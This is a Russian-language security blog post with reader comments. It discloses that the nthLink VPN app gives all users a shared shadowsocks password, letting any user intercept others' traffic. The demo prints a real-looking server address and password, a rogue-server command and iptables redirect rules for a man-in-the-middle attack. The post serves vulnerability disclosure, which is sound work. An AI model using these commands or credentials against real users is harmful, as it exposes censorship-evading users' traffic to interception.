Заметка о nthLink VPN, его внутренностях и его катастрофическом провале в криптографии. Почему это может быть важно:

  • Некоторые люди могут полагаться на несуществующие гарантии безопасности, обещанные этим приложением. Этот продукт в особенности претендует на обход цензуры, очерчивая свой главный сценарий использования. В этом сценарии использования нарушение конфиденциальности угрожает привести пользователя к непреднамеренному раскрытию данных цензору, которые должны были быть спрятаны VPN-соединением.

  • Другие подобные приложения, использующие одни и те же инсталляции shadowsocks для множества разных пользователей, могут так же иметь эту проблему. Вообще этот протокол всё ещё подходит только для персонального применения, а не для публичных сервисов с множеством пользователей.

Также эта заметка может заинтересовать людей, которые хотели бы знать, как работают подобные приложения внутри.

О nthLink VPN

Интересные факты о продукте.

Перевод

Важнее всего, оно [приложение] использует сильное шифрование, чтобы защитить поток информации между потребителем и источником.

Ещё заявления о безопасности:

Перевод

Не позволяет цензорам производить инспекцию содержимого/пакетов.

Дважды прошли аудит безопасности:

Перевод

Аудиты безопасности - два аудита безопасности проводились над nthLink в 2019 и 2020 годах компанией Cure53 - независимой организацией, специализирующейся в цифровой безопасности, которая проверяет ПО в соответствии с последними стандартами безопасности.

Выдержки из отчётов аудита:

"В этом заключении стоит заметить, что для этого проекта [аудита] использовалась модель довольно сильного атакующего."

"Проводившийся в октябре и ноябре 2020, этот проект [аудита] сосредотачивает внимание на приложении nthLink VPN для Android, iOS и, вдобавок, для Windows, и соответственно на их безопасности и отношение к конфиденциальности конечных пользователей."

"Cure53 завершили верификацию исправлений, последовавших за пентестом и аудитом исходного кода в конце ноября 2020. Команда Cure53 смогла проверить все исправления, которые были представлены командой nthLink. Это значит, что все относящиеся к делу и попадающие в рамки находки, обнаруженные Cure53 в пентесте и аудите исходного кода NTH-02, теперь успешно исправлены, и исправления успешно устраняют найденные уязвимости."

Вы можете запросить отчёты аудита, как и модели угроз, связавшись с командой поддержки nthLink.

Интересно, что отчёт об аудите не сделан публичным, а обещан быть предоставлен по запросу. В чём проблема опубликовать его? В любом случае, в свете представленных здесь находок, можно смело предполагать, что аудит Cure53 либо бесполезен, либо его темой была инфраструктура/вебсайт, а не само приложение.

Приложение заявлено как имеющее открытый исходный код, покуда ваше письмо с запросом исходного кода не угодит в папку для спама:

Перевод

Пожалуйста, свяжитесь с командой поддержки nthLink, чтобы запросить доступ к исходному коду nthLink.

Получили довольно скромное финансирование из некоего Фонда Открытых Технологий (Open Technology Fund).

Внутренности приложения

Приложение делает вид, что работает как VPN для всей системы, но на самом деле это просто прокси-клиент shadowsocks. Оно использует badvpn tun2socks (или похожую программу), чтобы перенаправлять все TCP- и UDP-сессии в соединение shadowsocks, которое технически не является VPN.

Несмотря на то, что исходный код не опубликован и не легкодоступен, было тривиально извлечь его из приложения для Windows на электроне. JS-код может быть распакован просто командой npx asar extract. Здесь есть полное руководство по этой теме.

Анализ исходного кода показал, что алгоритм получения реквизитов для подключения грубо можно описать следующим образом:

  1. Вычислить текущий домен API на основании некоего зерна домена, заданного конфигурацией домена верхнего уровня и текущей даты.

  2. Если этот домен недоступен, то откатиться к заданному жёстко домену на AWS S3.

  3. Сделать запрос на получение тела конфигурации.

  4. Тело конфигурации содержит подпись (RSA-SHA256 PKCSv15). Проверить её.

  5. Расшифровать окончательный JSON с реквизитами подключения, зашифрованными с помощью AES256-CTR. Статический ключ шифрования захардкожен. Также эта конфигурационная полезная нагрузка содержит самые актуальные настройки для вычисления домена API: зерно домена и домен верхнего уровня.

Я сделал альтернативный клиент API, который выполняет эти шаги и позволяет получить обычные реквизиты для подключения к серверу shadowsocks, которые подходят к любому ванильному (обычному) клиенту shadowsocks.

Но вот какая проблема. Все криптографические ключи в shadowsocks получаются из общего пароля, который одинаково задан на клиенте и сервере. Следовательно, если все клиенты знают симметричный общий ключ (SPSK), они могут использовать его для атаки "человек посередине" на других клиентов того же сервера. Это катастрофический провал в криптографии, который уничтожает безопасность протокола.

Демо? Демо!

Продемонстрируем, что кто угодно может видеть и вмешиваться в трафик, защищённый приложением nthLink.

Установка приложения и подключение

Последнее приложение nthLink - это приложение nthLink для Android версии 5.1.0, выпущенное 1 апреля 2021.

Установлено и подключено:

Подключение проверено. IP-адрес сменился на IP-адрес сервера nthLink:

Мошеннический сервер shadowsocks

IP-адресом жертвы в сети является 192.168.1.65. Нам нужно перенаправить для него трафик к shadowsocks-серверам nthLink на наш поддельный shadowsocks-сервер.

На линуксовом шлюзе (роутере) соберём список http-подобных соединений от устройства-жертвы:

fgrep 192.168.1.65 /proc/net/nf_conntrack | fgrep dport=443 | fgrep ESTABLISHED

И с другой стороны будем запускать nth-dump, пока не появится адрес из собранного списка соединений.

Name:		nthLink Server
Host:		68.183.72.121
Port:		443
Method:		chacha20-ietf-poly1305
Password:	2djK1R9egUBi
URL:		ss://Y2hhY2hhMjAtaWV0Zi1wb2x5MTMwNToyZGpLMVI5ZWdVQmk=@68.183.72.121:443#nthLink%20Server

Теперь мы смогли соотнести соединения с сервером nthLink и реквизитами для подключения к нему. Запустим наш мошеннический сервер shadowsocks. Для этой цели я использую сервер go-shadowsocks2:

./shadowsocks2-linux-arm -s 'ss://AEAD_CHACHA20_POLY1305:2djK1R9egUBi@:443' -verbose

Наконец, перенаправим трафик жертвы на наш мошеннический сервер shadowsocks:

iptables -t nat -I PREROUTING -m tcp -p tcp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443
iptables -t nat -I PREROUTING -m udp -p udp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443

Перехват трафика достигнут

Смотрим в логи go-shadowsocks2:

2022/08/24 23:24:46 tcp.go:137: proxy 192.168.1.65:46868 <-> 108.177.119.94:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46882 <-> 142.250.203.142:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46890 <-> 172.217.18.3:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46900 <-> 142.250.185.109:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46908 <-> 142.250.184.228:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46914 <-> 142.250.185.67:443
2022/08/24 23:25:07 tcp.go:137: proxy 192.168.1.65:46920 <-> 34.160.111.145:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46930 <-> 8.8.4.4:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46936 <-> 8.8.8.8:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46944 <-> 8.8.8.8:443
2022/08/24 23:25:14 tcp.go:137: proxy 192.168.1.65:46952 <-> 172.217.20.202:443
2022/08/24 23:25:42 tcp.go:137: proxy 192.168.1.65:46966 <-> 149.154.167.50:443
2022/08/24 23:25:46 tcp.go:139: relay error: read tcp 46.250.2.79:60350->44.192.201.202:4244: read: connection reset by peer
2022/08/24 23:25:47 tcp.go:137: proxy 192.168.1.65:46972 <-> 44.192.201.202:443
2022/08/24 23:26:18 tcp.go:137: proxy 192.168.1.65:46980 <-> 216.58.215.99:443
2022/08/24 23:27:50 tcp.go:137: proxy 192.168.1.65:46986 <-> 149.154.167.50:443
2022/08/24 23:28:11 tcp.go:137: proxy 192.168.1.65:46992 <-> 149.154.167.50:443
2022/08/24 23:28:34 tcp.go:137: proxy 192.168.1.65:46998 <-> 149.154.167.50:443

Как видно, соединения успешно перенаправляются и наш сервер shadowsocks понимает и выполняет запросы.

Подтвердим перенаправление обратно на мой домашний IP-адрес, даже с включённым VPN:

Мы могли бы снова направить трафик на серверы nthLink после инспекции, чтобы всё выглядело как обычно, но для целей демо нам наоборот нужно сделать это более явно, а не скрытно.

Наконец, снимем трафик с помощью tcpdump -i any -nvvs0 'dst port 443' -w hs.cap, чтобы показать, что мы видим трафик так же, как без VPN вовсе. Перехваченное рукопожатие TLS в анализаторе PCAP-дампов пакетов Wireshark:

Комментарии (4)


  1. olegtsss
    25.08.2022 20:06
    +1

    Если симметричный ключ известен, то можно просто расшифровывать трафик на любом промежуточном звене, даже без MitM?


    1. YourChief Автор
      25.08.2022 20:16
      +1

      Непонятно, я пока так и не понял, откуда соль берётся: https://shadowsocks5.github.io/en/spec/AEAD-Ciphers.html


      1. Barnaby
        25.08.2022 20:37
        +2

        В конце написано что рандомная и открытая, при TCP передается первой, при UDP с каждым пакетом. Похоже, что можно расшифровывать трафик.


  1. entze
    26.08.2022 08:53
    +1